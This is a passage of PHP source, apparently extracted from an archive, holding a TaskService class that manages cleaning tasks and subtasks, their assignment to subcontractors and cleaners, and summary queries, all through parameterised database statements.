else { return false; } } } ?> PKe\==TaskService.phpnu[db = new Database(); } public function addTask($task) { $this->db->query('INSERT INTO tasks (schedule_id, service_id, frequency, dates, added_by, updated_by, created_at, updated_at, finished, assigned_to, is_assigned, isPublic, accepted, not_accepted_users, assignedCleaneremail, is_assigned_to_cleaner) VALUES (:schedule_id, :service_id, :frequency, :dates, :added_by, :updated_by, :created_at, :updated_at, :finished, :assigned_to, :is_assigned, :isPublic, :accepted, :not_accepted_users, :assignedCleaneremail, :is_assigned_to_cleaner)'); // Bind values $this->db->bind(':schedule_id', $task->getScheduleId()); $this->db->bind(':service_id', $task->getServiceId()); $this->db->bind(':frequency', $task->getFrequency()); $this->db->bind(':dates', $task->getDates()); $this->db->bind(':added_by', $task->getAddedBy()); $this->db->bind(':updated_by', $task->getUpdatedBy()); $this->db->bind(':created_at', $task->getCreatedAt()); $this->db->bind(':updated_at', $task->getUpdatedAt()); $this->db->bind(':finished', $task->getFinished()); $this->db->bind(':assigned_to', $task->getAssignedTo()); $this->db->bind(':is_assigned', $task->getIsAssigned()); $this->db->bind(':isPublic', $task->getIsPublic()); $this->db->bind(':accepted', $task->getAccepted()); $this->db->bind(':not_accepted_users', $task->getNotAcceptedUsers()); $this->db->bind(':assignedCleaneremail', $task->getAssignedCleaneremail()); $this->db->bind(':is_assigned_to_cleaner', $task->getIsAssignedToCleaner()); // Execute if ($this->db->execute()) { return true; } else { return false; } } public function getAllTasks($filters = []) { $query = ' SELECT tasks.*, services.name AS service_name, services.region AS region, schedules.schedule_name, CONCAT(added_by_user.first_name, " ", added_by_user.last_name) AS added_by_name, CONCAT(updated_by_user.first_name, " ", updated_by_user.last_name) AS updated_by_name, CONCAT(assigned_to_user.first_name, " ", assigned_to_user.last_name) AS assigned_to_name FROM tasks LEFT JOIN schedules ON tasks.schedule_id = schedules.id LEFT JOIN services ON tasks.service_id = services.id LEFT JOIN users AS added_by_user ON tasks.added_by = added_by_user.id LEFT JOIN users AS updated_by_user ON tasks.updated_by = updated_by_user.id LEFT JOIN users AS assigned_to_user ON tasks.assigned_to = assigned_to_user.id WHERE 1=1 '; $params = []; // Apply filters if (!empty($filters['service_name'])) { $query .= ' AND services.name LIKE :service_name'; $params[':service_name'] = '%' . $filters['service_name'] . '%'; } if (!empty($filters['region'])) { $query .= ' AND services.region LIKE :region'; $params[':region'] = '%' . $filters['region'] . '%'; } if (!empty($filters['frequency'])) { $query .= ' AND tasks.frequency LIKE :frequency'; $params[':frequency'] = '%' . $filters['frequency'] . '%'; } if (isset($filters['public'])) { $query .= ' AND tasks.isPublic = :public'; $params[':public'] = $filters['public']; } if (isset($filters['finished'])) { $query .= ' AND tasks.finished = :finished'; $params[':finished'] = $filters['finished']; } if (isset($filters['assigned'])) { $query .= ' AND tasks.is_assigned = :assigned'; $params[':assigned'] = $filters['assigned']; } $this->db->query($query); // Bind parameters foreach ($params as $key => $value) { $this->db->bind($key, $value); } return $this->db->resultSet(); } public function getAllUnassignedTasks($filters = []) { $query = ' SELECT tasks.*, services.name AS service_name, services.region AS region, schedules.schedule_name, CONCAT(added_by_user.first_name, " ", added_by_user.last_name) AS added_by_name, CONCAT(updated_by_user.first_name, " ", updated_by_user.last_name) AS updated_by_name, CONCAT(assigned_to_user.first_name, " ", assigned_to_user.last_name) AS assigned_to_name FROM tasks LEFT JOIN schedules ON tasks.schedule_id = schedules.id LEFT JOIN services ON tasks.service_id = services.id LEFT JOIN users AS added_by_user ON tasks.added_by = added_by_user.id LEFT JOIN users AS updated_by_user ON tasks.updated_by = updated_by_user.id LEFT JOIN users AS assigned_to_user ON tasks.assigned_to = assigned_to_user.id WHERE tasks.is_assigned = 0'; $params = []; // Apply filters if (!empty($filters['service_name'])) { $query .= ' AND services.name LIKE :service_name'; $params[':service_name'] = '%' . $filters['service_name'] . '%'; } if (!empty($filters['region'])) { $query .= ' AND services.region LIKE :region'; $params[':region'] = '%' . $filters['region'] . '%'; } if (!empty($filters['frequency'])) { $query .= ' AND tasks.frequency LIKE :frequency'; $params[':frequency'] = '%' . $filters['frequency'] . '%'; } if (isset($filters['public'])) { $query .= ' AND tasks.isPublic = :public'; $params[':public'] = $filters['public']; } $this->db->query($query); // Bind parameters foreach ($params as $key => $value) { $this->db->bind($key, $value); } $tasks = $this->db->resultSet(); // Parse not_accepted_users into an array of user IDs foreach ($tasks as &$task) { if (!empty($task->not_accepted_users)) { $notAcceptedUsers = explode(',', $task->not_accepted_users); $task->not_accepted_users = $notAcceptedUsers; } else { $task->not_accepted_users = []; // Initialize as empty array if no not_accepted_users } } return $tasks; } public function getAllOngoingTasks($filters = []) { $query = ' SELECT tasks.*, services.name AS service_name, services.region AS region, schedules.schedule_name, CONCAT(added_by_user.first_name, " ", added_by_user.last_name) AS added_by_name, CONCAT(updated_by_user.first_name, " ", updated_by_user.last_name) AS updated_by_name, CONCAT(assigned_to_user.first_name, " ", assigned_to_user.last_name) AS assigned_to_name FROM tasks LEFT JOIN services ON tasks.service_id = services.id LEFT JOIN schedules ON tasks.schedule_id = schedules.id LEFT JOIN users AS added_by_user ON tasks.added_by = added_by_user.id LEFT JOIN users AS updated_by_user ON tasks.updated_by = updated_by_user.id LEFT JOIN users AS assigned_to_user ON tasks.assigned_to = assigned_to_user.id WHERE is_assigned = 1 AND accepted = 1 AND finished = 0 '; $params = []; // Apply filters if (!empty($filters['service_name'])) { $query .= ' AND services.name LIKE :service_name'; $params[':service_name'] = '%' . $filters['service_name'] . '%'; } if (!empty($filters['region'])) { $query .= ' AND services.region LIKE :region'; $params[':region'] = '%' . $filters['region'] . '%'; } if (!empty($filters['frequency'])) { $query .= ' AND tasks.frequency LIKE :frequency'; $params[':frequency'] = '%' . $filters['frequency'] . '%'; } $this->db->query($query); // Bind parameters foreach ($params as $key => $value) { $this->db->bind($key, $value); } return $this->db->resultSet(); } public function getAllUnacceptedTasks($filters = []) { $query = ' SELECT tasks.*, services.name AS service_name, services.region AS region, schedules.schedule_name, CONCAT(added_by_user.first_name, " ", added_by_user.last_name) AS added_by_name, CONCAT(updated_by_user.first_name, " ", updated_by_user.last_name) AS updated_by_name, CONCAT(assigned_to_user.first_name, " ", assigned_to_user.last_name) AS assigned_to_name FROM tasks LEFT JOIN schedules ON tasks.schedule_id = schedules.id LEFT JOIN services ON tasks.service_id = services.id LEFT JOIN users AS added_by_user ON tasks.added_by = added_by_user.id LEFT JOIN users AS updated_by_user ON tasks.updated_by = updated_by_user.id LEFT JOIN users AS assigned_to_user ON tasks.assigned_to = assigned_to_user.id WHERE tasks.is_assigned = 1 AND tasks.accepted = 0 AND tasks.finished = 0'; $params = []; // Apply filters if (!empty($filters['service_name'])) { $query .= ' AND services.name LIKE :service_name'; $params[':service_name'] = '%' . $filters['service_name'] . '%'; } if (!empty($filters['region'])) { $query .= ' AND services.region LIKE :region'; $params[':region'] = '%' . $filters['region'] . '%'; } if (!empty($filters['frequency'])) { $query .= ' AND tasks.frequency LIKE :frequency'; $params[':frequency'] = '%' . $filters['frequency'] . '%'; } $this->db->query($query); // Bind parameters foreach ($params as $key => $value) { $this->db->bind($key, $value); } return $this->db->resultSet(); } public function getTaskByIdAsObject($taskId) { $query = ' SELECT tasks.*, services.name AS service_name, services.region AS region FROM tasks LEFT JOIN services ON tasks.service_id = services.id WHERE tasks.id = :id '; $this->db->query($query); $this->db->bind(':id', $taskId); $taskData = $this->db->single(); if ($taskData) { return new Task( $taskData->id, $taskData->schedule_id, $taskData->service_id, // Ensure to use service_id instead of service_name $taskData->service_name, $taskData->region, $taskData->frequency, $taskData->dates, $taskData->added_by, $taskData->updated_by, $taskData->created_at, $taskData->updated_at, $taskData->finished, $taskData->assigned_to, $taskData->is_assigned, $taskData->isPublic, $taskData->accepted, $taskData->not_accepted_users ); } else { return null; } } public function getTaskById($taskId) { $this->db->query('SELECT tasks.*, services.name AS service_name, services.region AS region, schedules.schedule_name, CONCAT(added_by_user.first_name, " ", added_by_user.last_name) AS added_by_name, CONCAT(updated_by_user.first_name, " ", updated_by_user.last_name) AS updated_by_name, CONCAT(assigned_to_user.first_name, " ", assigned_to_user.last_name) AS assigned_to_name FROM tasks LEFT JOIN services ON tasks.service_id = services.id LEFT JOIN schedules ON tasks.schedule_id = schedules.id LEFT JOIN users AS added_by_user ON tasks.added_by = added_by_user.id LEFT JOIN users AS updated_by_user ON tasks.updated_by = updated_by_user.id LEFT JOIN users AS assigned_to_user ON tasks.assigned_to = assigned_to_user.id WHERE tasks.id = :id'); $this->db->bind(':id', $taskId); return $this->db->single(); } public function getSubtasksByTaskId($taskId) { $query = ' SELECT s.*, t.service_id, srv.name as service_name, srv.region as service_region FROM subtasks s LEFT JOIN tasks t ON s.task_id = t.id LEFT JOIN services srv ON t.service_id = srv.id WHERE s.task_id = :task_id '; $this->db->query($query); $this->db->bind(':task_id', $taskId); return $this->db->resultSet(); } public function getTasksByScheduleId($schedule_id) { $this->db->query('SELECT tasks.*, services.name AS service_name, services.region AS region, CONCAT(created_by_user.first_name, " ", created_by_user.last_name) AS created_by_name, CONCAT(updated_by_user.first_name, " ", updated_by_user.last_name) AS updated_by_name, CONCAT(assigned_to_user.first_name, " ", assigned_to_user.last_name) AS assigned_to_name FROM tasks LEFT JOIN services ON tasks.service_id = services.id LEFT JOIN users AS created_by_user ON tasks.added_by = created_by_user.id LEFT JOIN users AS updated_by_user ON tasks.updated_by = updated_by_user.id LEFT JOIN users AS assigned_to_user ON tasks.assigned_to = assigned_to_user.id WHERE schedule_id = :schedule_id'); $this->db->bind(':schedule_id', $schedule_id); return $this->db->resultSet(); } public function getUnassignedTasks() { $this->db->query('SELECT tasks.*, services.name AS service_name, services.region AS region FROM tasks LEFT JOIN services ON tasks.service_id = services.id WHERE tasks.is_assigned = 0 AND tasks.isPublic = 1'); return $this->db->resultSet(); } public function getPublicTasks() { $this->db->query('SELECT tasks.*, services.name AS service_name, services.region AS region FROM tasks LEFT JOIN services ON tasks.service_id = services.id WHERE tasks.isPublic = 1'); return $this->db->resultSet(); } public function assignTask($task) { $this->db->query('UPDATE tasks SET assigned_to = :assigned_to, is_assigned = :is_assigned, isPublic = 0, accepted = 1 WHERE id = :id'); $this->db->bind(':assigned_to', $task->getAssignedTo()); $this->db->bind(':is_assigned', $task->getIsAssigned()); $this->db->bind(':id', $task->getId()); if ($this->db->execute()) { return true; } else { return false; } } public function rejectTask($task) { $this->db->query('UPDATE tasks SET assigned_to = null, is_assigned = 0, isPublic = 0,not_accepted_users = :not_accepted_users WHERE id = :id'); $this->db->bind(':not_accepted_users', $task->getNotAcceptedUsers()); $this->db->bind(':id', $task->getId()); if ($this->db->execute()) { return true; } else { return false; } } public function getTasksByAssignedId($companyId) { $this->db->query('SELECT tasks.*, services.name AS service_name, services.region AS region FROM tasks LEFT JOIN services ON tasks.service_id = services.id WHERE tasks.assigned_to = :assigned_to AND tasks.accepted = 1'); $this->db->bind(':assigned_to', $companyId); return $this->db->resultSet(); } public function getTasksByAssignedIdNotAccepted($companyId) { $this->db->query('SELECT tasks.*, services.name AS service_name, services.region AS region FROM tasks LEFT JOIN services ON tasks.service_id = services.id WHERE tasks.assigned_to = :assigned_to AND tasks.accepted = 0'); $this->db->bind(':assigned_to', $companyId); return $this->db->resultSet(); } public function assignTaskToCompany($taskId, $companyId) { $this->db->query('UPDATE tasks SET assigned_to = :assigned_to,is_assigned = 1, isPublic = 0 WHERE id = :id'); $this->db->bind(':assigned_to', $companyId); $this->db->bind(':id', $taskId); return $this->db->execute(); } public function makeTaskPublic(int $taskId) { $this->db->query('UPDATE tasks SET isPublic = 1 WHERE id = :id'); $this->db->bind(':id', $taskId); return $this->db->execute(); } public function deleteTask(string $taskId) { $this->db->query('DELETE FROM tasks WHERE id = :id'); $this->db->bind(':id', $taskId); return $this->db->execute(); } public function deleteTaskWithSubtasks(string $taskId) { try { $this->db->beginTransaction(); error_log("Executing query: DELETE FROM subtasks WHERE task_id = $taskId"); // Step 1: Delete subtasks $this->db->query('DELETE FROM subtasks WHERE task_id = :task_id'); $this->db->bind(':task_id', $taskId); $this->db->execute(); // Step 2: Delete task error_log("Executing query: DELETE FROM tasks WHERE id = $taskId"); $this->db->query('DELETE FROM tasks WHERE id = :id'); $this->db->bind(':id', $taskId); $result = $this->db->execute(); $this->db->commit(); return true; // Return true to indicate success } catch (PDOException $e) { $this->db->rollBack(); error_log("Error deleting task with subtasks. Task ID: $taskId. Error: " . $e->getMessage()); return false; // Return false to indicate failure } } public function getAllCompanies() { $this->db->query('SELECT id, first_name,last_name FROM users where role = "subcontractor"'); return $this->db->resultSet(); } public function getServiceNameByTaskId(int $task_id) { $this->db->query('SELECT service_name FROM tasks WHERE id = :id'); $this->db->bind(':id', $task_id); return $this->db->single(); } public function getTasksWithUnassignedSubtasks($userId) { $this->db->query(' SELECT DISTINCT t.* FROM tasks t JOIN subtasks s ON t.id = s.task_id WHERE t.assigned_to = :user_id AND s.assigned = FALSE '); $this->db->bind(':user_id', $userId); return $this->db->resultSet(); } public function isTaskAssigned($subtask_id) { // SQL query to join tasks and subtasks tables $this->db->query(' SELECT t.is_assigned FROM tasks t JOIN subtasks s ON t.id = s.task_id WHERE s.id = :subtask_id '); // Bind the subtask ID to the query $this->db->bind(':subtask_id', $subtask_id); // Execute the query and fetch the result $is_assigned = $this->db->single(); // Return the is_assigned property if it exists return isset($is_assigned->is_assigned) ? $is_assigned->is_assigned : false; } //get all subtasks public function getAllSubtasks() { $this->db->query('SELECT * FROM subtasks'); return $this->db->resultSet(); } //get all subtasks group by subtask_date // TaskService.php public function getAllSubtasksForSubContractorsGroupByDate($SubContractorId) { try { // Adjusted SQL query to join subtasks with tasks and services $this->db->query(' SELECT subtasks.subtask_date, subtasks.id, services.id AS service_id, services.name AS service_name, subtasks.subtask_time, subtasks.assigned, subtasks.updated_at FROM subtasks INNER JOIN tasks ON subtasks.task_id = tasks.id INNER JOIN services ON tasks.service_id = services.id WHERE tasks.assigned_to = :assigned_to AND tasks.accepted = 1 AND subtasks.assigned = 0 ORDER BY subtasks.subtask_date '); $this->db->bind(':assigned_to', $SubContractorId); $subtasks = $this->db->resultSet(); $groupedSubtasks = []; foreach ($subtasks as $subtask) { $date = $subtask->subtask_date; // Store subtask details in the grouped array if (!isset($groupedSubtasks[$date])) { $groupedSubtasks[$date] = []; } $groupedSubtasks[$date][] = [ 'id' => $subtask->id, 'service_id' => $subtask->service_id, 'service_name' => $subtask->service_name, 'subtask_time' => $subtask->subtask_time, 'assigned' => $subtask->assigned, 'updated_at' => $subtask->updated_at, 'subtask_date' => $date // Include subtask_date in each entry ]; } return $groupedSubtasks; } catch (PDOException $e) { // Handle database errors appropriately (log, throw further, etc.) error_log('Database error: ' . $e->getMessage()); return []; // Return empty array or handle error as needed } } public function getAllSubtasksForSubContractorsGroupByDateassigned($SubContractorId) { try { // Adjusted SQL query to join subtasks with tasks and services based on assigned_to $query = " SELECT subtasks.subtask_date, subtasks.id, serv.id as service_id, serv.name as service_name, serv.region as region, subtasks.subtask_time, subtasks.assigned, subtasks.updated_at, subtasks.completed, subtasks.ignored FROM subtasks INNER JOIN tasks ON subtasks.task_id = tasks.id LEFT JOIN services serv ON tasks.service_id = serv.id WHERE tasks.assigned_to = :assigned_to AND tasks.accepted = 1 AND subtasks.assigned = 1 ORDER BY subtasks.subtask_date "; $this->db->query($query); $this->db->bind(':assigned_to', $SubContractorId); $subtasks = $this->db->resultSet(); $groupedSubtasks = []; foreach ($subtasks as $subtask) { $date = $subtask->subtask_date; // Store subtask details in the grouped array if (!isset($groupedSubtasks[$date])) { $groupedSubtasks[$date] = []; } $groupedSubtasks[$date][] = [ 'id' => $subtask->id, 'service_id' => $subtask->service_id, 'service_name' => $subtask->service_name, 'region' => $subtask->region, 'subtask_time' => $subtask->subtask_time, 'assigned' => $subtask->assigned, 'updated_at' => $subtask->updated_at, 'subtask_date' => $date, 'completed' => $subtask->completed, 'ignored' => $subtask->ignored ]; } return $groupedSubtasks; } catch (PDOException $e) { // Handle database errors appropriately (log, throw further, etc.) error_log('Database error: ' . $e->getMessage()); return []; // Return empty array or handle error as needed } } public function getAllSubtasksGroupByDate($startDate = null, $endDate = null, $subcontractorId = null, $serviceLocationId = null) { try { // Get the current date and calculate the date range if not provided if (!$startDate || !$endDate) { $currentDate = date('Y-m-d'); $oneWeekBefore = date('Y-m-d', strtotime('-1 week', strtotime($currentDate))); $oneWeekAfter = date('Y-m-d', strtotime('+1 week', strtotime($currentDate))); $startDate = $startDate ?: $oneWeekBefore; $endDate = $endDate ?: $oneWeekAfter; if ($endDate < $startDate) { //set end date same as start date $endDate = $startDate; } } // Adjusted SQL query to include service_name, region, assigned_to user's details, and assignedCleaneremail from tasks table $sql = ' SELECT subtasks.subtask_date, subtasks.id, subtasks.subtask_time, subtasks.assigned, subtasks.updated_at, subtasks.completed, subtasks.ignored, tasks.service_id, srv.name AS service_name, srv.region AS region, tasks.assignedCleaneremail, assignedUser.first_name AS assigned_user_first_name, assignedUser.last_name AS assigned_user_last_name, assignedUser.email AS assigned_user_email FROM subtasks INNER JOIN tasks ON subtasks.task_id = tasks.id LEFT JOIN services srv ON tasks.service_id = srv.id LEFT JOIN users assignedUser ON tasks.assigned_to = assignedUser.id WHERE subtasks.subtask_date BETWEEN :startDate AND :endDate'; // Add filters to the SQL query if provided if ($subcontractorId) { $sql .= ' AND tasks.assigned_to = :subcontractorId'; } if ($serviceLocationId) { $sql .= ' AND tasks.service_id = :serviceLocationId'; } $sql .= ' ORDER BY subtasks.subtask_date'; $this->db->query($sql); // Bind the date range to the query $this->db->bind(':startDate', $startDate); $this->db->bind(':endDate', $endDate); // Bind filters if provided if ($subcontractorId) { $this->db->bind(':subcontractorId', $subcontractorId); } if ($serviceLocationId) { $this->db->bind(':serviceLocationId', $serviceLocationId); } $subtasks = $this->db->resultSet(); $groupedSubtasks = []; foreach ($subtasks as $subtask) { $date = $subtask->subtask_date; // Store subtask details in the grouped array if (!isset($groupedSubtasks[$date])) { $groupedSubtasks[$date] = []; } $groupedSubtasks[$date][] = [ 'id' => $subtask->id, 'service_name' => $subtask->service_name, 'subtask_time' => $subtask->subtask_time, 'assigned' => $subtask->assigned, 'updated_at' => $subtask->updated_at, 'subtask_date' => $date, 'completed' => $subtask->completed, 'ignored' => $subtask->ignored, 'region' => $subtask->region, 'assignedCleaneremail' => $subtask->assignedCleaneremail, 'assigned_user_first_name' => $subtask->assigned_user_first_name, 'assigned_user_last_name' => $subtask->assigned_user_last_name, 'assigned_user_email' => $subtask->assigned_user_email ]; } return $groupedSubtasks; } catch (PDOException $e) { // Handle database errors appropriately (log, throw further, etc.) error_log('Database error: ' . $e->getMessage()); return []; // Return empty array or handle error as needed } } public function getTasksAssignedToUsers() { $query = " SELECT t.id, s.name AS service_name, s.region, CONCAT(u.first_name, ' ', u.last_name) as user_name, t.accepted, t.is_assigned FROM tasks t LEFT JOIN services s ON t.service_id = s.id LEFT JOIN users u ON t.assigned_to = u.id ORDER BY u.id, t.id; "; $this->db->query($query); $tasks = $this->db->resultSet(); $categorizedTasks = []; foreach ($tasks as $task) { $userName = $task->user_name; if (!isset($categorizedTasks[$userName])) { $categorizedTasks[$userName] = []; } $categorizedTasks[$userName][] = $task; } return $categorizedTasks; } public function getPendingTasksWithRejectedUsers() { $query = " SELECT t.id, s.name AS service_name, s.region AS region, CONCAT(u.first_name, ' ', u.last_name) as assigned_user, t.accepted, t.not_accepted_users FROM tasks t LEFT JOIN users u ON t.assigned_to = u.id LEFT JOIN services s ON t.service_id = s.id WHERE t.is_assigned = 0 AND t.accepted = 0 AND t.not_accepted_users IS NOT NULL ORDER BY t.id; "; $this->db->query($query); $tasks = $this->db->resultSet(); // Parse not_accepted_users into an array of user IDs foreach ($tasks as &$task) { if (!empty($task->not_accepted_users)) { $notAcceptedUsers = explode(',', $task->not_accepted_users); $task->not_accepted_users = $notAcceptedUsers; } else { $task->not_accepted_users = []; // Initialize as empty array if no not_accepted_users } } return $tasks; } public function getAcceptedTasks() { $query = " SELECT t.id, s.name AS service_name, s.region AS region, CONCAT(u.first_name, ' ', u.last_name) as assigned_user, t.accepted, t.is_assigned FROM tasks t LEFT JOIN users u ON t.assigned_to = u.id LEFT JOIN services s ON t.service_id = s.id WHERE t.is_assigned = 1 AND t.accepted = 1 ORDER BY t.id; "; $this->db->query($query); return $this->db->resultSet(); } public function getTaskSummaryForUsers() { $query = " SELECT u.id as user_id, CONCAT(u.first_name, ' ', u.last_name) as user_name, GROUP_CONCAT(DISTINCT s.name ORDER BY s.name SEPARATOR ', ') as service_names, GROUP_CONCAT(DISTINCT s.region ORDER BY s.region SEPARATOR ', ') as regions, COUNT(t.id) as total_tasks, SUM(CASE WHEN t.is_assigned = 1 THEN 1 ELSE 0 END) as assigned_tasks, SUM(CASE WHEN t.accepted = 1 THEN 1 ELSE 0 END) as accepted_tasks, SUM(CASE WHEN t.accepted = 0 AND t.is_assigned = 1 THEN 1 ELSE 0 END) as pending_tasks, SUM(case when t.accepted = 0 then 1 else 0 end) as rejected_tasks, SUM(case when t.finished = 1 AND t.accepted = 1 then 1 else 0 end) as completed_tasks, SUM(case when t.finished = 0 AND t.accepted = 1 then 1 else 0 end) as not_completed_tasks, GROUP_CONCAT( DISTINCT CONCAT(u2.first_name, ' ', u2.last_name) ORDER BY t.updated_at DESC SEPARATOR ', ' ) as rejected_users FROM users u LEFT JOIN tasks t ON u.id = t.assigned_to LEFT JOIN users u2 ON FIND_IN_SET(u2.id, t.not_accepted_users) LEFT JOIN services s ON t.service_id = s.id WHERE u.role = 'subcontractor' GROUP BY u.id ORDER BY u.id; "; $this->db->query($query); return $this->db->resultSet(); } public function getTaskSummaryForUser($UserId) { $query = " SELECT u.id as user_id, CONCAT(u.first_name, ' ', u.last_name) as user_name, GROUP_CONCAT(DISTINCT s.name ORDER BY s.name SEPARATOR ', ') as service_names, GROUP_CONCAT(DISTINCT s.region ORDER BY s.region SEPARATOR ', ') as regions, COUNT(t.id) as total_tasks, SUM(CASE WHEN t.is_assigned = 1 THEN 1 ELSE 0 END) as assigned_tasks, SUM(CASE WHEN t.accepted = 1 THEN 1 ELSE 0 END) as accepted_tasks, SUM(CASE WHEN t.accepted = 0 AND t.is_assigned = 1 THEN 1 ELSE 0 END) as pending_tasks, SUM(case when t.accepted = 0 then 1 else 0 end) as rejected_tasks, SUM(case when t.finished = 1 AND t.accepted = 1 then 1 else 0 end) as completed_tasks, SUM(case when t.finished = 0 AND t.accepted = 1 then 1 else 0 end) as not_completed_tasks, GROUP_CONCAT( DISTINCT CONCAT(u2.first_name, ' ', u2.last_name) ORDER BY t.updated_at DESC SEPARATOR ', ' ) as rejected_users FROM users u LEFT JOIN tasks t ON u.id = t.assigned_to LEFT JOIN users u2 ON FIND_IN_SET(u2.id, t.not_accepted_users) LEFT JOIN services s ON t.service_id = s.id WHERE u.role = 'subcontractor' AND u.id = :UserId GROUP BY u.id ORDER BY u.id; "; $this->db->query($query); $this->db->bind(':UserId', $UserId); return $this->db->resultSet(); } public function isTaskAssignedAndAccepted(int $subtask_id) { // SQL query to join tasks and subtasks tables $this->db->query(' SELECT t.is_assigned, t.accepted FROM tasks t JOIN subtasks s ON t.id = s.task_id WHERE s.id = :subtask_id AND t.is_assigned = 1 AND t.accepted = 1 '); // Bind the subtask ID to the query $this->db->bind(':subtask_id', $subtask_id); // Execute the query and fetch the result $is_assigned = $this->db->single(); // Return the is_assigned property if it exists return isset($is_assigned->is_assigned) ? $is_assigned->is_assigned : false; } public function getTasksByAssignedAndNotCompleted($currentCompanyId) { $query = " SELECT t.*, CONCAT(u.first_name, ' ', u.last_name) AS assigned_to_name, s.name AS service_name, s.region AS region FROM tasks t LEFT JOIN users u ON t.assigned_to = u.id LEFT JOIN services s ON t.service_id = s.id WHERE t.assigned_to = :assigned_to AND t.finished = 0 AND t.accepted = 1 "; $this->db->query($query); $this->db->bind(':assigned_to', $currentCompanyId); return $this->db->resultSet(); } public function getTasksByAssignedandnotCompletedAndNotAssigned($currentCompanyId) { $query = " SELECT t.*, CONCAT(u.first_name, ' ', u.last_name) AS assigned_to_name, s.name AS service_name, s.region AS region FROM tasks t LEFT JOIN users u ON t.assigned_to = u.id LEFT JOIN services s ON t.service_id = s.id WHERE t.assigned_to = :assigned_to AND t.finished = 0 AND t.accepted = 1 AND t.assignedCleaneremail IS NULL AND t.is_assigned_to_cleaner = 0 "; $this->db->query($query); $this->db->bind(':assigned_to', $currentCompanyId); return $this->db->resultSet(); } public function getAllSubtasksForSubContractorsAssigned(int $companyId) { try { // Adjusted SQL query to join subtasks with tasks based on assigned_to $this->db->query('SELECT subtasks.subtask_date, subtasks.id, subtasks.service_name, subtasks.subtask_time, subtasks.assigned, subtasks.updated_at, subtasks.completed FROM subtasks INNER JOIN tasks ON subtasks.task_id = tasks.id WHERE tasks.assigned_to = :assigned_to AND tasks.accepted = 1 AND subtasks.assigned = 1 ORDER BY subtasks.subtask_date'); $this->db->bind(':assigned_to', $companyId); $subtasks = $this->db->resultSet(); $groupedSubtasks = []; foreach ($subtasks as $subtask) { $date = $subtask->subtask_date; // Store subtask details in the grouped array if (!isset($groupedSubtasks[$date])) { $groupedSubtasks[$date] = []; } $groupedSubtasks[$date][] = [ 'id' => $subtask->id, 'service_name' => $subtask->service_name, 'subtask_time' => $subtask->subtask_time, 'assigned' => $subtask->assigned, 'updated_at' => $subtask->updated_at, 'subtask_date' => $date, 'completed' => $subtask->completed ]; } return $groupedSubtasks; } catch (PDOException $e) { // Handle database errors appropriately (log, throw further, etc.) error_log('Database error: ' . $e->getMessage()); return []; // Return empty array or handle error as needed } } public function getAllSubtasksForSubContractorsGroupByRegion($SubContractorId) { try { $query = " SELECT t.region, s.id, serv.name as service_name, s.subtask_date, s.subtask_time, s.assigned, s.updated_at FROM tasks t LEFT JOIN subtasks s ON t.id = s.task_id LEFT JOIN services serv ON t.service_id = serv.id WHERE t.assigned_to = :assigned_to AND t.accepted = 1 AND s.assigned = 0 GROUP BY t.region, s.id, serv.name, s.subtask_date, s.subtask_time, s.assigned, s.updated_at "; $this->db->query($query); $this->db->bind(':assigned_to', $SubContractorId); $subtasks = $this->db->resultSet(); $groupedSubtasks = []; foreach ($subtasks as $subtask) { $region = $subtask->region; if (!isset($groupedSubtasks[$region])) { $groupedSubtasks[$region] = []; } $groupedSubtasks[$region][] = [ 'id' => $subtask->id, 'service_name' => $subtask->service_name, 'subtask_date' => $subtask->subtask_date, 'subtask_time' => $subtask->subtask_time, 'assigned' => $subtask->assigned, 'updated_at' => $subtask->updated_at, 'region' => $region ]; } return $groupedSubtasks; } catch (PDOException $e) { error_log('Database error: ' . $e->getMessage()); return []; } } public function updateTaskStatusAfterMessage($taskId, $email) { // Update the main task $this->db->query('UPDATE tasks SET assignedCleaneremail = :email, is_assigned_to_cleaner = 1 WHERE id = :id'); $this->db->bind(':email', $email); $this->db->bind(':id', $taskId); $taskUpdateSuccess = $this->db->execute(); // Update the not completed subtasks $this->db->query('UPDATE subtasks SET assigned_to_Mobile = :email, assigned_Message_Rsponse = "success", assigned = 1 WHERE task_id = :id AND completed = 0'); $this->db->bind(':email', $email); $this->db->bind(':id', $taskId); $subtaskUpdateSuccess = $this->db->execute(); //check if both subtask and task update is successful if ($taskUpdateSuccess && $subtaskUpdateSuccess) { return true; } else { return false; } } public function getTasksByAssignedAndNotCompletedAndNoCompletedSubtasks($currentCompanyId) { $query = " SELECT t.*, CONCAT(u.first_name, ' ', u.last_name) AS assigned_to_name, s.name AS service_name, s.region AS region FROM tasks t LEFT JOIN users u ON t.assigned_to = u.id LEFT JOIN services s ON t.service_id = s.id LEFT JOIN subtasks st ON t.id = st.task_id WHERE t.assigned_to = :assigned_to AND t.finished = 0 AND t.accepted = 1 AND t.assignedCleaneremail IS NOT NULL GROUP BY t.id "; $this->db->query($query); $this->db->bind(':assigned_to', $currentCompanyId); return $this->db->resultSet(); } public function getAllSchedules() { $this->db->query('SELECT * FROM schedules'); return $this->db->resultSet(); } public function getTasksBySchedule(int $selectedScheduleId) { $this->db->query('SELECT t.*, s.name AS service_name, s.region FROM tasks t JOIN services s ON t.service_id = s.id WHERE t.schedule_id = :schedule_id'); $this->db->bind(':schedule_id', $selectedScheduleId); return $this->db->resultSet(); } // public function getAllTasksByTaskProvider($taskProviderId, $filters = []) // { // $query = ' // SELECT // tasks.*, // services.name AS service_name, // services.region AS region, // schedules.schedule_name, // CONCAT(added_by_user.first_name, " ", added_by_user.last_name) AS added_by_name, // CONCAT(updated_by_user.first_name, " ", updated_by_user.last_name) AS updated_by_name, // CONCAT(assigned_to_user.first_name, " ", assigned_to_user.last_name) AS assigned_to_name // FROM tasks // LEFT JOIN schedules ON tasks.schedule_id = schedules.id // LEFT JOIN services ON tasks.service_id = services.id // LEFT JOIN users AS added_by_user ON tasks.added_by = added_by_user.id // LEFT JOIN users AS updated_by_user ON tasks.updated_by = updated_by_user.id // LEFT JOIN users AS assigned_to_user ON tasks.assigned_to = assigned_to_user.id // WHERE tasks.added_by = :taskProviderId // '; // // $params = [':taskProviderId' => $taskProviderId]; // // // Apply filters // if (!empty($filters['service_name'])) { // $query .= ' AND services.name LIKE :service_name'; // $params[':service_name'] = '%' . $filters['service_name'] . '%'; // } // // if (!empty($filters['region'])) { // $query .= ' AND services.region LIKE :region'; // $params[':region'] = '%' . $filters['region'] . '%'; // } // // if (!empty($filters['frequency'])) { // $query .= ' AND tasks.frequency LIKE :frequency'; // $params[':frequency'] = '%' . $filters['frequency'] . '%'; // } // // if (isset($filters['public'])) { // $query .= ' AND tasks.isPublic = :public'; // $params[':public'] = $filters['public']; // } // // if (isset($filters['finished'])) { // $query .= ' AND tasks.finished = :finished'; // 